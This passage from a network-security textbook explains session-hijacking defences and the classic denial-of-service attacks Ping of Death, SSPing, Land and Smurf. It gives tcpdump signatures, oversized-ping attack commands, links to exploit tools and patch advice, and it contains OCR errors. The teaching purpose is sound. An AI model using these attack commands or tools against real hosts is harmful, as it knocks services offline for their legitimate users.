machine. Therefore, the potential harm is extremely high.
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Most Countermeasures Do Not Work

As we will see in the next section, a lot of our traditional countermeasures
are ineffective against session hijacking. You might have been told that if
you have strong authentication or one-time passwords, your systems will
be safe. Well, with some attacks that is true, but when it comes to session
hijacking, these types of countermeasures are ineffective

Protecting Against Session Hijacking

As you have seen, session hijacking is an insidious threat because the
attacker is taking over a legitimate session. In other types of attacks, you
can remove what the threat exploits and therefore eliminate the threat.
Unfortunately, in this case, to eliminate the cause would prohibit any
legitimate connections, which defeats the purpose of having an Internet
connection. Therefore, it is not an option. The following are some other
options you can take to minimize the threat of session hijacking:

e Use encryption

e Use a secure protocol

e Limit incoming connections

« Minimize remote access

« Have strong authentication (least effective)

Use Encryption

Encryption is probably one of the few ways you can protect against
session hijacking. If an attacker cannot read the data that is transmitted,
it is much more difficult to hijack the session. One crucial aspect is to
make sure that the local host is not compromised. If an attacker can
compromise one of the end computers that is participating in the
encryption, he can read the traffic before and after it is encrypted,
because he has access to the machine that is performing the encryption.
If an attacker has access to the machine, you have other issues.

At a minimum, all connections that are coming from the Internet must be
encrypted. It is too easy to target Internet connections that anyone can
see into your corporate network. Therefore, any critical connections where
sensitive data can be transmitted must be encrypted. For example, if the
finance employees need to access the remote accounts payable server,
that connection must be encrypted.

Ideally, you want all traffic on your network to be encrypted. Most people
want a solution that will solve most of their security needs—the silver

bullet. Ironically, the technology that comes close to being a silver bullet
has been around for a while, but no one wants to use it because they feel
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it is too cumbersome. If companies religiously used encryption for all of
their communications, we would have a lot less security issues.

Encryption schemes like Kerberos will help, depending on which
encryption scheme is being used. Also, now that Windows 2000 has
Kerberos support built in, more and more companies might start to use it.
Also, Ipv6, which is the next generation of IP, also has encryption built
into the protocol, which will help solve many of these issues.

Use a Secure Protocol

Whenever you are connecting to a remote machine, especially for
sensitive work or administrative manners, use a secure protocol. You do
not know how many times I see administrators telnet to the firewall or
external router to administer it. When I see this happen, I look at them
dumb founded. Here we have security professionals who are leaving
themselves wide open to session hijacking and other types of attacks.

There are too many solutions available to leave yourself vulnerable. At a
most basic level, there are protocols like ssh or secure telnet. At a more
corporate level, there are VPN technologies that can go from client to
server. When designing your security infrastructure, make sure you
account for secure protocols when communicating with the various devices
that make up your network.

Limit Incoming Connections

It's the most basic principle they teach you in Firewall 101: Limit who can
make incoming connections to your internal network. The less traffic that
you allow to flow from the Internet into your corporate network, the more
secure you will be. This also goes for minimizing the risk of session
hijacking: The less possible ways an attacker can get into your network,
the less ways he has to hijack a session. Ideally, you should block as
much traffic as possible at both the external router and the firewall.
Remember, the more protection you have, the better off you will be.

Minimize Remote Access

Minimizing remote access is the opposite of the last item we covered (limit
incoming connections) but requires more attention. Most companies limit
incoming traffic but allow internal users to connect to whatever machines
they would like on whatever protocols. Some people argue that it is okay,
because no sensitive information flows out of a company, which is a false
statement. Also, in some companies, more sensitive information flows out
of the company than into the company. Think of the possibilities for
hijacking the business office as it connects to a bank each morning to
manage its funds, or as an executive connects to his stockbroker to trade
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stocks. Think of the potential financial damage (in the millions of dollars)
this can cause if an attacker can hijack the session.

Strong Authentication—Not Effective

I've included this last item because a lot of people have the false
assumption that strong authentication eliminates or minimizes the risk to
session hijacking. Because session hijacking takes over a session after the
user is authenticated, it really doesn’t matter how they authenticated. You
can have the best authentication in the world, but if you only authenticate
at the beginning of a session and an attacker takes over your session after
you are successfully connected, authentication does not come into play.
The only time authentication helps is if a user has to re-authenticate at
random intervals throughout a session. Based on the inconvenience
factor, very few sites do this

Summary

Session hijacking can cause a lot of damage, and it is fairly difficult to
defend against. If you allow legitimate users to make connections to your
systems, which you have to do, there is the chance that an attacker can
hijack them. A large part of the vulnerability has to go back to how
authentication works. Because authentication is only done at the
beginning of a session, after a user is authenticated, an attacker can take
over the session and become that user. For example, consider that an
attacker gets physical access to your computer after you log on in the
morning. After you authenticate, you are good for the remainder of the
day, which makes it easy for that attacker to become you by sitting down
at your terminal. In this example, you need physical access, but it
emphasizes the risk to hijacking.

With session hijacking, the attacker can gain the same access without
having any physical access; in fact, he could be on the other side of the
world. This is why it is so important that a company addresses its security
from as many angles as possible. Just because you have a firewall and
strong authentication does not mean that an attacker cannot gain access
by taking over a legitimate user’s session.
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Chapter 6. Denial of Service Attacks

You come home from work after a long day at the office and the phone
rings. You pick up the phone and no one is there. So you hang up, and
immediately the phone rings again. After several times of doing this, you
stop answering the phone, but the person keeps calling over and over
again. The next morning when you go to work your boss says, “I tried
calling you last night, but the phone was busy.” You actually weren't on
the phone, but an attacker was able to use up all your resources, so that
legitimate calls did not come through. This is an example of a Denial of
Service attack. In this case, the attacker kept your phone line tied up, so
that your boss could not get through and legitimate users were denied
access. As you can already see from this non-technical example, Denial of
Service attacks can be very annoying and very difficult to protect against.
In this simplified example, it would be difficult to protect against the
attack. One solution to Denial of Service attacks is redundancy—you could
put in a second line. However, that would not stop the attacker from
launching an attack against both lines. As you will see throughout this
chapter, Denial of Service attacks are extremely difficult to prevent, and
from an attacker’s standpoint, they are very easy to launch.

To put Denial of Service attacks in perspective, let’s examine the three
main areas of security: confidentiality, integrity, and availability. Denial of
Service attacks are attacks against the third component, availability.
Availability is preventing, detecting, or deterring the unauthorized denial
of access to information and systems. Types of Denial of Service attacks
range from crashing a user’s machine by sending them data they are not
expecting, to overloading a machine by sending it too much information.
No matter which type of attack is being performed, the end result of a
Denial of Service attack is the same—a legitimate user cannot get access
to the information he needs.

What Is a Denial of Service Attack?

A Denial of Service attack (DOS) is an attack through which a person can
render a system unusable or significantly slow down the system for
legitimate users by overloading the resources so no one else can access it.
This can also result in someone damaging or destroying resources, so they
cannot be used. Denial of Service attacks can either be deliberate or
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accidental. It is caused deliberately when an unauthorized user actively
overloads a resource. It is caused accidentally when an authorized user
unintentionally does something that causes resources to become
unavailable. An organization should take precautions to protect a system
against both types of Denial of Service attacks.

Most operating systems (including NT and numerous variants of UNIX),
routers, and network components that have to process packets at some
level are vulnerable to DOS attacks. In general, DOS attacks are difficult
to prevent. However, restricting access to critical accounts, resources, and
files and protecting them from unauthorized users can hinder many DOS
attacks.

It seems that the number of Denial of Service attacks are increasing every
day. If an attacker is unable to gain access to a machine, most attackers
will just crash the machine to accomplish a Denial of Service attack. This
means that even though your systems may be patched and properly
secured, an attacker can still do damage to your company.

Types of Denial of Service Attacks

There are two general types of Denial of Service attacks. The first type
involves crashing a system or network. If an attacker can send a victim
data or packets it is not expecting, and it causes the system to either
crash or reboot, then in essence, the attacker has performed a Denial of
Service attack because no one will be able to get to the resources. From
an attacker’s standpoint, what is nice about these attacks is that you can
render a system inaccessible with a couple of packets. In most cases, for
the system to get back online would require intervention from an
administrator to reboot or power off the system. So, this first type of
attack is the most damaging because it requires little to perform and
human interaction to fix.

The second type of attack involves flooding the system or network with so
much information that it cannot respond. For example, if the system can
only handle 10 packets a minute, and an attacker sends it 20 packets a
minute, then when legitimate users try to connect to the system, they are
denied access because all the resources have been exhausted. With this
attack, an attacker has to constantly flood the system with packets. After
the attacker stops flooding the system with packets, the attack is over and
the machine resumes operation. This type of attack requires a lot more
energy on the part of the attacker because he has to keep actively
flooding the system. In some cases, this type of attack could crash the
machine, however in most cases, recovering from this attack requires
minimal human intervention.
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It is important to note that both of these attacks can be launched from a
local system or over a network.

What Is a Distributed Denial of Service Attack?

With a traditional Denial of Service attack, a single machine is usually
launching the attack against a victim’s box. However, in the year 2000, a
new type of attack was introduced—a distributed Denial of Service attack
or DDOS. In this case, an attacker breaks into several machines, or
coordinates with several friends, to launch an attack against a target
machine or network at the same time. So, now it is not just one machine
launching the attack, but several. This makes it difficult to defend against
the attacks because the machine is not just receiving a lot of packets from
one machine, but from any number of machines all at the same time.
Also, because these attacks are coming from a wide range of IP
addresses, it is much more difficult to block and detect because a small
number of packets from each machine might slip under the Intrusion
Detection Systems (IDS) radar. If a single IP address is attacking a
company, it can block that address at its firewall. If it is 100 machines,
this is extremely difficult. Further in this chapter, in the section, “Tools for
Running DOS Attacks” we examine several tools that make it easy to
launch DDOS attacks.

Figure 6.1 is an example of what a DDOS attack looks like.

Figure 6.1. Diagram of a distributed Denial of Service attack (DDOS).
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As you can see, multiple systems from all around the world are launching
an attack against a single victim. If DOS attacks are difficult to prevent
when they are coming from a single source, think of how much harder it is
to protect against DDOS attacks that are coming from multiple machines
at multiple locations.

Why Are They Difficult to Protect Against?

DOS attacks are difficult to protect against because you can never totally
eliminate the threat. If you are connected to the Internet, there is always
the chance that an attacker may send you too much data that you are not
able to process. Therefore, you can minimize your threat my increasing
your bandwidth, however an attacker can always use additional resources
to flood your network.

Let’s look at another example. You come home from work and you live on
a cul-de-sac, which means there is only a single road to get to your
house, and there is currently a truck blocking that road. Very easily,
someone has just launched a Denial of Service attack, denying you access
to your house. One way to protect against this attack is to build a second
road, so you have an alternate route to your house. First, this is very
expensive, and second, it does not completely eliminate the threat. Now,
someone could just get two trucks and block both roads. You could then
build a third road, but they could still block that route. The bottom line is
that there are things that can be done to minimize the threat, but if an
attacker has enough time and resources, he can still be successful.

Now that we understand what Denial of Service attacks are and why they
are such an insidious threat, let’s look at several known DOS exploits.
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Description of Exploits

At this point in the book, we are starting to address different
exploits in detail. In going over how exploits work, and what can
be done to prevent exploits from damaging your systems, I have
created a general format that is used throughout the remainder of
the book. The following is an outline of the format and a brief
description of each item.
Exploit Details

« Name: Name of exploit

« Variants: Name of different variants of the exploit

« Operating System: 0OSs impacted

« Protocols/Services: Protocols or services the exploit uses
Protocol Description
This section gives a brief description of the protocol the exploit
uses. In most cases, to understand the exploit, you need to
understand the protocol's strengths and weaknesses.
Detailed Description

After the foundation information is described, a detailed
description of the exploit is covered.

How the Exploit Works

This section describes how the exploit works and why it is able to
exploit the feature in the protocol or application program.

Diagram

This section provides a typical diagram of how the exploit would
work on a network.

How to Use It

This section shows the programs used to exploit the vulnerability
and how to use them.

Signature of the Attack

This section shows you what to look for if you are trying to detect
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or block the attack.
How to Protect Against It

This provides a description of what can be done to patch the
protocol or how a company can protect itself.

Source Code/Pseudo Code

This section provides links to where the source code can be found
and a brief listing and description of the pseudo code. Source code
is the actual code that someone compiles to run the exploit.
Because source code is sometimes hard to read, pseudo code is a
description of what the code does and is easier to follow.
Additional Information

This section provides resources for additional information.

Types of Denial of Service Attacks

At this point, we understand what a DOS attack is and why they are so
difficult to protect against. Now let’s look at several types of DOS attacks
to get a better idea of how they work. The following are the exploits we
explore in this chapter:

Ping of Death

SSPing

Land

Smurf

SYN Flood

CPU Hog

Win Nuke

RPC Locator

Jolt2

Bubonic

Microsoft Incomplete TCP/IP Packet Vulnerability
HP Openview Node Manager SNMP DOS Vulnerability
Netscreen Firewall DOS Vulnerability

Checkpoint Firewall DOS Vulnerability

Some of these attacks have been around for a while, however, they are
included because they cover very important concepts of how DOS attacks
work, and they give you an idea of the range of services or protocols that
can be attacked, to cause a Denial of Service attack. For example, the
exploit Ping of Death is covered because it is one of the “classic” DOS
attacks, and it shows how simple an attack can be. Others, such as smurf,
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have been around for a while, but they are still widely used, for example
in the DDOS attacks that occurred February of 2000.

This is not meant to be a complete list because new Denial of Service
attacks are coming out daily, however it is meant to show you the wide
range of attacks that exist. Now, let’s start covering each exploit in detail.

Ping of Death

A Denial of Service attack that involves sending a very large ping packet
to a host machine.

Exploit Details

« Name: Ping of Death
« Operating System: Most Operating Systems
« Protocols/Services: ICMP Ping

The ping of death attack is a category of network-level attacks against
hosts with the goal of denying service to that host. A perpetrator sends a
large ping packet to the victim’s machine. Because most operating
systems do not know what to do with a packet that is larger than the
maximum size, it causes most operating systems to either hang or crash.
For example, this causes the blue screen of death in Microsoft NT.

Protocol Description

Ping of death uses large Internet Control Message Protocol (ICMP) or ping
packets to cause a Denial of Service attack against a given system. To
understand how ping of death works, you need to have a basic
understanding of ICMP. This exploit operates at the network layer, which
is layer 3 in the OSI model. This is the same layer that IP operates at.
ICMP was developed to test connectivity to various machines on the
Internet. ICMP handles error and exchange control messages. ICMP can
be used to convey status and error information, including network
transport and network congestion problems.

Ping is a program that uses ICMP to see if a machine connected to a
network is responding. It does this by sending an echo request packet to a
particular address. If the machine successfully receives the packet, it
sends an ICMP echo reply. ICMP, and especially ping, can be a valuable
tool for troubleshooting and diagnosing host or network problems.

The following is a successful ping request showing that the destination
host is active:

Pinging 10.159.90.17 with 32 bytes of data:
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Reply from 10.159.90.17: bytes=32 time=4ms TTL=255
Reply from 10.159.90.17: bytes=32 time=2ms TTL=255
Reply from 10.159.90.17: bytes=32 time=2ms TTL=255
Reply from 10.159.90.17: bytes=32 time=2ms TTL=255

Ping statistics for 10.159.90.17:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 4ms, Average = 2ms

Notice that the ping packets have a size of 32 bytes. By using the
command-line options, you can specify a different packet size for the ping
program to send. In Microsoft, to send a larger ping packet, you use the -I
(letter 1) option. So, by typing ping -1 500 10.159.90.17, you would get
the following results:

Pinging 10.159.90.17 with 500 bytes of data:

Reply from 10.159.90.17: bytes=500 time=3ms TTL=255
Reply from 10.159.90.17: bytes=500 time=3ms TTL=255
Reply from 10.159.90.17: bytes=500 time=3ms TTL=255
Reply from 10.159.90.17: bytes=500 time=3ms TTL=255

Ping statistics for 10.159.90.17:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 3ms, Maximum = 3ms, Average = 3ms

Notice now that the packet size is 500 bytes instead of the default 32
bytes.

Detailed Description

The TCP/IP specification (the basis for many protocols used on the
Internet) allows for a maximum packet size of up to 65536 octets (1 octet
= 8 bits of data), containing a minimum of 20 octets of IP header
information and 0 or more octets of optional information, with the
remainder of the packet consisting of data. It is known that some systems
will react in an unpredictable fashion when receiving oversized IP packets.
Reports indicate a range of reactions including crashing, freezing, and
rebooting.

In particular, most attacks show that the ICMP packets issued through the
ping command have been used to trigger these attacks. As discussed in
the previous section, ICMP is a subset of the TCP/IP suite of protocols that
transmit error and control messages between systems. Two specific
instances of ICMP packets are the ICMP ECHO_REQUEST and ICMP
ECHO_RESPONSE datagrams. A local host can use these two instances to
determine whether a remote system is reachable through the network,
and they are commonly achieved using the ping command. A host sends
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a machine an ICMP_ECHO-REQUEST packet, and if the machine is active,
it processes the packet and replies by sending an ICMP_ECHO-RESPONSE.

Attackers use the ping command to construct oversized ICMP datagrams
(which are encapsulated within an IP packet). Many ping implementations
send ICMP datagrams consisting only of the 8 octets of ICMP header
information by default, yet they enable the user to specify a larger packet
size if desired. With this exploit, an attacker uses this feature to send an
oversized ping packet or one that is larger than the 65536 byte
specification.

Signature of the Attack

The following is the output from a TCP dump when the ping of death is run
against a victim’s machine:

10:03:14..690000 192.168.15.5 > 192.168.20.10: icmp: echo
request (frag

11267:148000+)

10:03:14.690000 192.168.15.5 > 192.168.20.10: (frag
11267:14800@1480+)

10:03:14.690000 192.168.15.5 > 192.168.20.10: (frag
11267:1480@5920+)

10:03:14.690000 192.168.15.5 > 192.168.20.10: (frag
11267:14800@7400+)

10:03:14.690000 192.168.15.5 > 192.168.20.10: (frag
11267:14800@8880+)

10:03:14.740000 192.168.15.5 > 192.168.20.10: (frag
11267:1480@65527)

As you can see, the source IP address sends the destination IP address
(victim’s machine) a ping packet that is 65527 in size.

Source Code/Pseudo Code

Most operating systems come with a version of ping as part of the
standard operating system. Based on this fact, it is very easy to perform
an attack using this program because all the tools needed are already
installed by default. For example, from a Windows machine, an attacker
would open up a DOS window and issue this command:

ping -1 65527 [followed by the IP address of the victims
machine]

On a UNIX machine, an attacker would issue the following command:
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ping —-s 65527 followed by the IP address of the victim's
machine.

Because ping is such a popular program, there really is no source or
pseudo code for this exploit.

How to Protect Against It

The best way to fix this problem is to apply the latest patch from the
appropriate vendor. Most operating systems that have been impacted by
this exploit have patches that will remove the vulnerability.

If applying the patch is not an option, or additional protection is desired,
large ping packets can be blocked at routers or firewalls, which stops
them from getting to the victim’s machine.

Additional Information

The following sites contain additional information on the ping of death
exploit:

e http://www.cert.org
e http://microsoft.com

The CERT keeps track of most security vulnerabilities and provides
detailed information on how to protect against them. The CERT
Coordination Center studies Internet security vulnerabilities, provides
incident response services to sites that have been the victims of an attack,
publishes a variety of security alerts, researches security and survivability
in wide-area-networked computing, and develops information to help you
improve security at your site.

Microsoft also provides detailed information on its operating systems’
vulnerabilities and what can be done to protect those vulnerabilities from
exploit.

SSPing

A Denial of Service attack that involves sending a series of highly
fragmented, oversized ICMP data packets.

Exploit Details
« Name: SSPing

« Operating System: Microsoft Windows (95 and NT)
« Protocols/Services: ICMP Ping
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SSPing is a program that uses ICMP data packets to freeze any computer
connected to the Internet or on a network running Windows 95, Windows
NT, and older versions of the MAC Operating system. SSPing is based on
old code that freezes old SYS V and Posix implementations. Because of
this, it is possible to use SSPing against systems that are also running
these implementations.

Protocol Description

SSPing uses fragmented ICMP packets to cause a Denial of Service attack.
To understand how SSPing works, you need to have a basic understanding
of ICMP and how fragmented packets work. Because ICMP was covered in
the previous section, let’s look at fragmented packets.

If a machine attempts to send a large packet on a network or over the
Internet, there is a good chance that one of the routers that processes the
packet will break it up into smaller pieces, so it can be properly routed to
its destination. When this occurs, the destination machine receives the
pieces and puts them back together. This process occurs all the time on
the Internet and is called fragmentation. As you will see in this section, by
tinkering with the fragmentation options, you can cause certain machines
to crash.

Detailed Description

SSPing is a program that can freeze any computer connected to the
Internet or on a network running Windows 95, Windows NT, or older
versions of the MAC OS before version 6.

The SSPing program sends the victim’s computer a series of highly
fragmented, oversized ICMP data packets over the connection. The
computer receiving the data packets locks when it tries to put the
fragments together. Highly fragmented packets require the TCP/IP stack
to keep track of additional information to reassemble the packets. If the
TCP/IP stack was not built properly, when it tries to keep track and put
together several packets, the result is a memory overflow, which in turn
causes the machine to stop responding. Usually, the attacker only needs
to send a few packets, locking the victim’s computer instantaneously.
When the victim restarts his computer, the connection with the attacker is
lost, so in some cases, the attacker is able to remain anonymous.

Jolt and Jolt2 are two more exploits that take advantage of fragmentation.
Because Jolt2 is a newer program, it is covered in the section, “Jolt2” later
in this chapter.

Signature of the Attack
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Because this is a relatively simple attack, requiring only a few packets,
there is really only one main symptom to look for, and that is ICMP
packets that are large and highly fragmented.

Because SSPing only uses a few packets, and because ICMP packets are
fairly common, it is hard to detect this exploit by either the protocol or
frequency. Also, large, fragmented packets occur on the Internet,
however, it is very rare for large, highly fragmented ICMP packets to
occur, so it is only when you put these two pieces together that you can
detect the attack.

To run this attack, the source IP address sends highly fragmented ICMP
packets to the destination IP address (victim’s machine). The following is
the TCP dump output from running this exploit:

10:03:14.690000 192.168.10.5> 192.168.20.10: icmp: echo
request (frag

11267:14800@0+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@5920+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@44400+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:14800@7400+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@37000+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@8880+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@48840+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@56240+)

10:03:14.690000 192.168.10.5 > 192.168.20.10: (frag
11267:1480@53280+)

This packet dump shows the signature of an SSPing attack. The first
packet tells you this is an ICMP packet. By looking at the far right of each
of the remaining lines, you can see that the packets are fragmented. By
looking at the sequence order, you can also see that they are not in order,
which requires additional resources for the TCP/IP stack to track.

Source Code/Pseudo Code

Because this attack is relatively straightforward, there is source code
available at the following address:
http://newdata.box.sk/neworder/xforces/sspingeggdrop.zip/.
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Also, aggressor is a program you can use to launch several Denial of
Service attacks, including the SSPing attack, and is available from
http://neworder.box.sk/.

The pseudo code for this is extremely straightforward. Anyone can use a
packet generator program to create an ICMP packet that is fairly large and
highly fragmented.

How to Protect Against It

Because this attack mainly impacts Microsoft operating systems, the only
way to protect against this attack is to download the latest patches from
its web site.

To prevent this type of attack, Microsoft has updated the TCP/IP protocol
stack. Updates and instructions can be downloaded from Microsoft’s ftp
site. To find out additional information and download the patches, you can
search for SSPing under Microsoft’s Knowledge Base, which is located
under Support on its main page.

Additional Information
Additional information can be found at the following sites:

e http://www.cert.org
e http://microsoft.com
e http://www.winplanet.com

Because this attack mainly affects Microsoft operating systems, most of
the patches are available from its web site. Winplanet also provides
adequate details on the exploit and additional information on how to apply
and download the patches.

Land Exploit

A Denial of Service attack in which a program sends a TCP SYN packet
where the target and source address are the same and the port numbers
are the same.

Exploit Details

« Name: Land

« Variants: none

« Operating System: Most Operating Systems and routers
« Protocols/Services: IP

The land attack is a program used to launch a Denial of Service attack
against various TCP implementations. The program sends a TCP SYN
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packet (which is the first part of the three-way handshake) where the
source and destination addresses are the same and the source and
destination port numbers are the same.

Protocol Description

IP packets are used to send information across the Internet. IP packets
contain information that specifies who the recipient and sender of the
packets are. IP packets also contain port nhumbers that specify which TCP
service the packet should be sent to. The following are the key fields that
an IP packet contains:

e Source address

e Source port number

o Destination address

o Destination port number

The above information as a whole is also referred to as a socket because
this is what is needed to make a successful connection to a remote host.
It is important to point out that the destination port number also indicates
what protocol is being used. Under normal circumstances, the source and
destination address and source and destination port numbers are
different. In these cases, IP works as designed. Unfortunately, when IP
packets contain unconventional information, most TCP/IP stacks do not
know how to handle it and they crash. One instance where this is true is
when someone sets the source and destination addresses and source and
destination ports to the same value.

Detailed Description

Some implementations of TCP/IP are vulnerable to SYN packets when the
source address and port are the same as the destination. For this to occur,
an attacker has to spoof both the source address and port number. The
following are the properties of a land attack:

e Source and destination address have the same value
e Source and destination port numbers have the same value

TCP is a reliable connection-oriented protocol that operates at layer 4, the
transport layer. Because TCP is reliable, it requires a three-way handshake
to initiate new connections. When a new connection is opened, it uses SYN
packets to synchronize the two machines. SYN packets are similar to
normal packets, except they have the SYN bit set, which means it is one
of the first packets in a new connection. Because land attacks occur when
a new session is opened, attackers use SYN packets.

When an attacker wants to attack a machine using the land exploit, he
sends a packet to the target machine opening a new connection. The
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packet has the source address and port humber spoofed by setting the
source address and port number to be the same as the destination
address and port number.

The destination machine receives the packet and replies to the source
address and port number. Because this is the destination machine, most
machines will crash or hang because they do not know how to handle it.

Signature of the Attack

The signature of the attack is fairly simple. Any packet that has the
following properties is a land attack:

e Source and destination address having the same value
e Source and destination port numbers having the same value

These characteristics do not occur in normal packets, so any packets that
have these features should be flagged and dropped. The following is
TCPdump output from running two different land attacks:

12/03/97 02:19:48 192.168.1.1 80 -> 192.168.1.1 80
12/03/97 02:21:53 192.168.1.1 31337 -> 192.168.1.1 31337

A key point to remember is that a variety of operating IP stack
implementations are unable to process packets sent from themselves to
themselves using the same source and destination ports. Remember TCP
replies to the source address and source port.

Source Code/Pseudo Code

Because this attack is relatively straightforward, there is source code
available at the following addresses. However, if a hacker wanted to
launch such an attack, it would be very easy to write code to do so:

e Source code: http://www.insecure.org/
o Aggressor: http://neworder.box.sk/
o Spike: http://hackersclub.com/

Aggressor and spike are two programs you can use to launch several
Denial of Service attacks, including the land attack.

The pseudo code for this is extremely straightforward. Anyone can use a
packet generator program to create a packet with a spoofed source
address set to the destination address, and a spoofed source port number
set to the destination port number.
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Also, juggernaut, which is covered in Chapter 5, “"Session Hijacking” has a
built-in packet generator program. This enables an attacker to craft a
packet that launches the land attack against a victim host.

How to Protect Against It

The easiest way to protect against this type of attack is to apply the latest
patches from your vendor. This exploit has been out for a while, so most
vendors have patches that fix the problem. Most vendor’s web sites
contain sections on security patches for known exploits. If you go to the
appropriate web site, you can download the proper patch and apply it to
your system.

For example, Microsoft has the following patches:

Windows NT 4.0

ftp://ftp.microsoft.com/bussys/winnt/winnt-
public/fixes/usa/nt40/hot-
fixes-postSP3/land-fix/Q165005.txt

Windows 95

ftp://ftp.microsoft.com/bussys/winnt/winnt-
public/fixes/usa/nt40/hot-
fixes-postSP3/land-fix/Q177539.TXT

If applying the latest vendor patch is not an option, there is a workaround.
Any packet that is coming into your network from the Internet should not
have a source address from your internal network. This is the case
because (as mentioned earlier) any packets originating on your internal
network never come in on the external interface of your router. Therefore,
your router can block all incoming packets that have a source address that
matches an address on your internal network. However, this does not
protect against an attacker who breaks into an internal host and launches
an attack against another internal host.

The fix that uses router filters is the same fix used to stop IP spoofing
attacks on networks.

Additional Information
Additional information can be found at the following sites:

e http://www.cert.org
e http://www.insecure.org
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o http://www.phrack.com
e http://www.cisco.com

Smurf

A Denial of Service attack involving forged ICMP packets sent to a
broadcast address.

Exploit Details

« Name: Smurf

o Variants: Papa Smurf and Fraggle

« Operating System: Most OSs and routers
« Protocols/Services: ICMP Ping

The Smurf attack is a category of network-level attacks against hosts with
the goal of denying service to the hosts. A perpetrator sends ICMP echo
requests (ping) traffic to an IP broadcast address using a spoofed source
address of a victim. On a multi-access broadcast network, there could
potentially be thousands of machines to reply to each packet.

The Smurf attack’s cousin is called “fraggle”, which uses UDP echo packets
in the same fashion as the ICMP echo packets. Currently, the machines
most commonly hit are IRC servers and their providers. Because Smurf is
a Denial of Service attack, it impacts most devices that process packets.

Protocol Description

Smurf uses forged ICMP packets to cause a Denial of Service attack. To
understand how Smurf works, you need to have a basic understanding of
ICMP and broadcast addresses. Because ICMP was already covered, let’s
look at how broadcasts addresses work. A broadcast address is a single
address used to send a packet to all hosts on a network segment. This is
done by making the host portion of an IP address all ones. For example,
the IP broadcast address for the 12.0.0.0 network is 12.255.255.255. In
binary, eight 1'sor 11111111 is equivalent to 255. This address then
sends the packet to all machines on the 12 network. If there are a large
number of machines on a network segment, using a broadcast address
will use up a lot of network bandwidth because the system will generate
individual packets for each machine on that network segment.

Detailed Description

The two main components of the Smurf attack are the use of forged
packets and the use of a broadcast address. In the Smurf attack,
attackers are forging or spoofing the source address on ICMP echo
requests and sending them to an IP broadcast address. This causes every
machine on the broadcast network to receive the reply and respond back
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to the source address that was forged by the attacker. With this type of
attack, there are three parties involved: the attacker, the intermediary
(the broadcast address to which the packets are sent), and the victim (the
forged source IP address). In this type of attack, the intermediary can also
be a victim. This is the case because when all the machines on the
intermediary start replying back to the forged address, it can generate so
many packets that it uses up all the bandwidth of the intermediary
network.

To start this attack, the attacker generates an ICMP echo request (which
is the same as a ping) using a forged source address and a broadcast
address as the destination. The intermediary receives the ICMP echo
request, which is directed to the broadcast address of its network. This
causes the packet to be sent to all machines on that network segment,
with each machine replying to the request and sending an ICMP echo reply
back. When all the machines on the network reply, this could potentially
result in degraded service or Denial of Service for that network segment
due to the high volume of traffic generated.

Because the source address on the packets was forged, all the replies go
back to the source address that was specified, which now becomes the
victim’s machine. Because a large number of packets are being sent to the
victim’s machine, this could cause network congestion or potentially make
the network inaccessible.

Description of Variants

Fraggle is a simple variation of the Smurf attack. Fraggle works the same
way as Smurf, except it uses UDP echo packets instead of ICMP echo
packets. Based on their similarities, performing a fraggle attack only
requires a simple re-write of Smurf.

Papa Smurf is an improved and optimized version of Smurf, yet it works
the same way.

Signature of the Attack

The point of the Smurf attack is to make the network inaccessible.
Therefore, one general signature of the attack is degraded network
performance both on the local internal network and on the connection to
the Internet. At some point in the attack, performance should degrade to
the point that the network cannot be used. From an Internet server
provider (ISP) standpoint, a significant stream of traffic can cause serious
performance degradation for small- and medium-sized ISPs that provide
connectivity to either the intermediaries or the victim’s networks. Larger
ISPs can also see degradation of service. Therefore, not only will this
attack cause problems for a company, it could also cause problems for its
ISP.
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Two main signatures that someone can look for, or that most Intrusion
Detection Systems (IDSs) look for to detect the Smurf attack, are a large
number of ICMP requests coming from a specific host and an ICMP
request sent to a broadcast address.

The following is TCP dump output from sending a Smurf attack to a class
C broadcast address:

00:00:05 spoofed.net
00:00:05 spoofed.net
00:00:14 spoofed.net
00:00:14 spoofed.net
00:00:19 spoofed.net

192.168.15.255: icmp: echo request
192.168.1.255: icmp: echo request
192.168.15.255: icmp: echo request
192.168.1.255: icmp: echo request
192.168.15.255: icmp: echo request

vV V.V V V

Here is another attack sent to a class A address:

00:00:05 spoofed.net
00:00:05 spoofed.net
00:00:14 spoofed.net
00:00:14 spoofed.net
00:00:19 spoofed.net

12. 255.255.255: icmp: echo request
12. 255.255.255: icmp: echo request
12. 255.255.255: icmp: echo request
12. 255.255.255: icmp: echo request
12.255.255.255: icmp: echo request

vV V. V V V

As you can imagine, the attack sent to the class A address will generate a
lot more traffic.

The TCP dump output previously shown illustrates that the source IP
address is spoofed and the echo requests are addressed to a broadcast
address. The point is simply to chew up bandwidth.

Source Code/Pseudo Code

Because this attack is relatively straightforward, there is source code
available at the following addresses. However, if an attacker wanted to
launch a Smurf attack, it would be very easy to write code to perform the
task.

e Source code: http://www.insecure.org/
o Aggressor: http://neworder.box.sk/
o Spike: http://hackersclub.com/

Aggressor and spike are two programs you can use to launch several
Denial of Service attacks, including the Smurf attack.

The pseudo code for this is extremely straightforward. Anyone can use a

packet generator program to create a packet with a spoofed source
address and send it to a broadcast address. Another way to use this
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attack is to directly break in to the victim’s network and issue the
command from their network to a broadcast address. Because the
attacker already has access to the victim’s network, there would be no
need to spoof the address. This type of attack only requires a standard
ping program, which comes with most operating systems.

Smurf Amplifiers

As you can imagine with the large humber of machines connected to the
Internet, and the lack of security that most companies have, there are a
large number of companies that can be used as smurf amplifiers. A smurf
amplifier is a company whose network not only accepts ICMP echo
requests sent to a broadcast address, but it allows the ICMP echo replies
to be sent out. As you will see in the next section, there are several ways
a company can protect against this. Because this is becoming a
widespread problem on the Internet, there is a site that lists companies
that can be used as smurf amplifiers. The site is:
http://www.pulltheplug.com. In 2000, there were over 150,000 offenders,
which means that this is a very big problem.

Fyodor also came up with a way to use nmap to check a network to see if
it can be used as a smurf amplifier. To check a system, run the following
command using nmap:

